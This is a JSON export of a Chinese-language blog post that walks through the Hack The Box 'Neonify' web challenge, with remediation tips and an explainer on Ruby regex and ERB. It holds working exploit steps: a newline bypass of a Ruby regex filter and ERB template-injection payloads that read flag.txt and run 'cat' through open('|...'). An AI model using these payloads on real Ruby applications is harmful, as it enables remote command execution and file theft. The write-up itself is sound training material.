{"id":1038,"date":"2023-12-03T15:47:09","date_gmt":"2023-12-03T07:47:09","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1038"},"modified":"2024-03-16T00:57:47","modified_gmt":"2024-03-15T16:57:47","slug":"htb-neonify","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1038","title":{"rendered":"HTB Neonify"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\u8aaa\u660e<\/h3>\n\n\n\n<p>\u6b64\u70bahackthebox\u7684web\u9776\u6a5f,\u540d\u7a31\u70baNeonify,\u653b\u64ca\u7b56\u7565\u70ba\u9952\u904e\u5b57\u4e32\u4fdd\u8b77,\u4e26\u900f\u904eruby SSTI\u57f7\u884c\u4efb\u610f\u6307\u4ee4<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u98a8\u96aa<\/h3>\n\n\n\n<p>\u6b64\u76ee\u6a19\u767c\u73fe2\u500b\u5b89\u5168\u98a8\u96aa<\/p>\n\n\n\n<p>1.ruby\u904e\u6ffe\u5b57\u4e32\u4fdd\u8b77\u6a5f\u5236\u5beb\u6cd5\u53ef\u4ee5\u88ab\u65b7\u884c\u65b9\u6cd5\u9952\u904e<\/p>\n\n\n\n<p>2.\u53ef\u57f7\u884cruby SSTI\u6a21\u7248\u8a9e\u6cd5<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u512a\u5316\u5efa\u8b70<\/h3>\n\n\n\n<p>\u589e\u52a0\u5b89\u5168\u6e2c\u8a66\u4efb\u52d9,\u6aa2\u6e2c\u6240\u6709\u7db2\u7ad9\u7684\u5206\u9694\u7b26\u865f\u80fd\u5426\u9952\u904e\u5b57\u4e32\u904e\u6ffe\u6aa2\u67e5<\/p>\n\n\n\n<p>\u589e\u52a0\u5b89\u5168\u6e2c\u8a66\u4efb\u52d9,\u6aa2\u6e2c\u6240\u6709\u7db2\u7ad9\u6a21\u7248\u662f\u5426\u80fd\u57f7\u884c\u5916\u90e8\u53c3\u6578<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u65b9\u5f0f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1.\u9952\u904e\u4fdd\u8b77\u6a5f\u5236<\/h3>\n\n\n\n<p>\u4ee3\u78bc\u5206\u6790\u6642\u767c\u73fe<code>@neon = ERB.new(params[:neon]).result(binding)<\/code>,\u9019\u8868\u793a\u53ef\u4ee5\u5c07neon\u53c3\u6578\u4ea4\u7d66ERB\u7684ruby\u6a21\u677f\u57f7\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...\r\npost '\/' do\r\n  if params&#91;:neon] =~ \/^&#91;0-9a-z ]+$\/i\r\n    @neon = ERB.new(params&#91;:neon]).result(binding)\r\n  else\r\n    @neon = \"Malicious Input Detected\"\r\n  end\r\n  erb :'index'\r\nend\r\n...omit...<\/code><\/pre>\n\n\n\n<p>\u4f46\u9019\u4e00\u884c\u6703\u505a\u57fa\u672c\u7684\u4fdd\u8b77<code>if params[:neon] =~ \/^[0-9a-z ]+$\/i<\/code> ,\u4e0d\u904e\u4ed4\u7d30\u770b\u6703\u767c\u73fe\u9019\u500b\u4fdd\u8b77\u6709\u63db\u884c\u9952\u904e\u554f\u984c,\u56e0\u6b64\u7528\u4ee5\u4e0b\u8acb\u6c42\u6e2c\u8a66\u63db\u884c\u9952\u904e,\u900f\u904ePost\u65b9\u6cd5\u50b3\u9001<code>neon=a%0ab.c.d.e.f<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fetch(\"http:\/\/157.245.32.36:31003\/\", {\r\n\"headers\": {\r\n    \"content-type\": \"application\/x-www-form-urlencoded\"\r\n},\r\n  \"body\": \"neon=\"+encodeURIComponent(`a\\nb.c.d.e.f`),\r\n  \"method\": \"POST\"\r\n});<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u4ee5\u4e0b\u5167\u5bb9,\u9019\u4ee3\u8868\u6b63\u5247\u8868\u9054\u5f0f\u9952\u904e\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit..        &lt;\/form> \r\n        &lt;h1 class=\"glow\">a\r\nb.c.d.e.f.g&lt;\/h1>\r\n    &lt;\/div>\r\n...omit...<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.\u57f7\u884c\u4efb\u610f\u6307\u4ee4<\/h3>\n\n\n\n<p>\u5728\u8acb\u6c42\u6642\u5c07\u8b80\u53d6flag\u6307\u4ee4\u653e\u5165neon\u5c31\u53ef\u4ee5\u53d6\u5f97flag.txt\u5167\u5bb9, \u4f46\u4f7f\u7528\u50b3\u7d71\u7684<code>system<\/code>\u6216<code>exec<\/code>\u56e0\u70ba\u4e0d\u6703\u986f\u793a\u5167\u5bb9\u6240\u4ee5\u6c92\u7528,\u53ef\u4ee5\u4f7f\u7528\u6a21\u7248\u8a9e\u6cd5<code>&lt;%= File.read('flag.txt') %><\/code> \u6216\u662f<code>&lt;%= open('|cat flag.txt').read() %> <\/code><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4f8b\u5982\u57f7\u884c\u4ee5\u4e0b\u64cd\u4f5c\u53ef\u8fd4\u56deHTB{xxx)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fetch(\"http:\/\/157.245.32.36:31003\/\", {\r\n\"headers\": {\r\n    \"content-type\": \"application\/x-www-form-urlencoded\"\r\n},\r\n  \"body\": \"neon=\"+encodeURIComponent(`a\\n&lt;%= File.read('flag.txt') %>`),\r\n  \"method\": \"POST\"\r\n});<\/code><\/pre>\n\n\n\n<p> \u6216\u662f\u76f4\u63a5\u8acb\u6c42\u4ee5\u4e0b\u7684\u5167\u5bb9\u4e5f\u53ef\u4ee5\u8fd4\u56deHTB{xxx), <span style=\"font-size: inherit; font-style: inherit; font-variant-ligatures: inherit; font-variant-caps: inherit; font-weight: inherit;\">%0a<\/span>\u662f\u7a7a\u767d\u7684URL encoding, %25\u662f%\u7684URL encoding<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/ HTTP\/1.1\n...omit...\nneon=<span style=\"font-size: inherit; font-style: inherit; font-variant-ligatures: inherit; font-variant-caps: inherit; font-weight: inherit;\">a%0a&lt;\/h1>&lt;%25=open('|cat flag.txt').read()%25>&lt;h1><\/span><\/code><\/pre>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u88dc\u5145\u8aaa\u660e<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">ruby\u6b63\u5247\u8868\u9054\u5f0f\u8aaa\u660e<\/h3>\n\n\n\n<p>\u5728 Ruby \u4e2d\uff0c=~ \u662f\u7528\u65bc\u6b63\u898f\u8868\u793a\u5f0f\u5339\u914d\u7684\u64cd\u4f5c\u7b26,\u5728\u6b63\u898f\u8868\u793a\u5f0f\u4e2d\u5e38\u7528\u529f\u80fd\u6709\u4ee5\u4e0b<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\/: \u6b63\u898f\u8868\u793a\u5f0f\u7684\u958b\u59cb\u548c\u7d50\u675f\u6a19\u8a18\uff0c\u7528\u65bc\u754c\u5b9a\u6b63\u898f\u8868\u793a\u5f0f\u7684\u6a21\u5f0f\u3002<\/li>\n\n\n\n<li>^: \u4f4d\u65bc\u958b\u982d\u7684\u9328\u9ede\uff0c\u8868\u793a\u5339\u914d\u5fc5\u9808\u5f9e\u5b57\u4e32\u7684\u958b\u982d\u958b\u59cb\u3002<\/li>\n\n\n\n<li>[0-9a-z ]: \u5b57\u5143\u985e\u5225\uff08<code>character class<\/code>\uff09\uff0c\u8868\u793a\u53ef\u63a5\u53d7\u7684\u5b57\u5143\u7bc4\u570d\u3002 \u5728\u9019\u500b\u4f8b\u5b50\u4e2d\uff0c\u8868\u793a\u53ef\u4ee5\u5339\u914d\u6578\u5b57\uff080-9\uff09\u3001\u5c0f\u5beb\u5b57\u6bcd\uff08a-z\uff09\u548c\u7a7a\u683c\uff08&#8221; &#8220;\uff09\u4e4b\u9593\u7684\u4efb\u4e00\u500b\u5b57\u5143\u3002<\/li>\n\n\n\n<li>+: \u91cf\u8a5e\uff08<code>quantifier<\/code>\uff09\uff0c\u8868\u793a\u524d\u9762\u7684\u5143\u7d20\u53ef\u4ee5\u51fa\u73fe\u4e00\u6b21\u6216\u591a\u6b21\u3002<\/li>\n\n\n\n<li>$: \u4f4d\u65bc\u7d50\u5c3e\u7684\u9328\u9ede\uff0c\u8868\u793a\u5339\u914d\u5fc5\u9808\u5230\u9054\u5b57\u4e32\u7684\u672b\u5c3e\u3002<\/li>\n\n\n\n<li>i: \u4fee\u98fe\u7b26\uff08<code>modifier<\/code>\uff09\uff0c\u8868\u793a\u5339\u914d\u6642\u5ffd\u7565\u5927\u5c0f\u5beb\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u7bc4\u4f8b\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ruby\r\nCopy Code\r\nstring = \"Hello, World!\"\r\npattern = \/llo\/\r\n\r\n\r\nif string =~ pattern\r\n  puts \"match found\"\r\nelse\r\n  puts \"No match found\"\r\nend<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">ruby\u6a21\u7248\u8a9e\u6cd5\u8aaa\u660e<\/h3>\n\n\n\n<p>ERB\u70ba Ruby \u63d0\u4f9b\u4e86\u4e00\u500b\u6613\u65bc\u4f7f\u7528\u4f46\u529f\u80fd\u5f37\u5927\u7684\u6a21\u677f\u7cfb\u7d71\u3002 \u4f7f\u7528ERB\uff0c\u53ef\u4ee5\u5c07\u5be6\u969b\u7684 Ruby \u7a0b\u5f0f\u78bc\u65b0\u589e\u5230\u4efb\u4f55\u7d14\u6587\u5b57\u6587\u4ef6\u4e2d\uff0c\u4ee5\u7522\u751f\u6587\u4ef6\u8cc7\u8a0a\u8a73\u7d30\u8cc7\u8a0a\u548c\/\u6216\u6d41\u7a0b\u63a7\u5236\u3002<\/p>\n\n\n\n<p>\u4ee5\u4e0b\u6a21\u677f\u8a9e\u6cd5\u53ef\u986f\u793a42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>require 'erb'\r\n\r\nx = 42\r\ntemplate = ERB.new &lt;&lt;-EOF\r\n  The value of x is: &lt;%= x %>\r\nEOF\r\nputs template.result(binding)<\/code><\/pre>\n\n\n\n<p>\u5e38\u898b\u7d44\u5408\u8aaa\u660e\u5982\u4e0b:<\/p>\n\n\n\n<p>&lt;% %>  \u5728\u62ec\u865f\u5167\u57f7\u884cruby\u7a0b\u5f0f\u78bc\u3002<br>&lt;%= %>  \u5728ERB\u6a94\u6848\u4e2d\u5217\u5370\u4e00\u4e9b\u6771\u897f\u3002<br>&lt;% -%>  \u907f\u514d\u5728\u8868\u9054\u5f0f\u5f8c\u4e2d\u65b7\u884c\u3002<br>&lt;%# %>  \u62ec\u865f\u5167\u7684\u8a3b\u89e3\uff1b\u672a\u50b3\u9001\u5230\u5ba2\u6236\u7aef(\u8207HTML\u8a3b\u89e3\u76f8\u53cd)\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u653b\u64ca\u7b56\u7565\u70ba\u9952\u904e\u5b57\u4e32\u4fdd\u8b77,\u4e26\u900f\u904eruby ssti\u57f7\u884c\u4efb\u610f\u6307\u4ee4<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[27],"tags":[42,36],"class_list":["post-1038","post","type-post","status-publish","format-standard","hentry","category-hackerskill","tag-bypass","tag-ssti"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1038","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1038"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1038\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1038"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1038"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1038"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}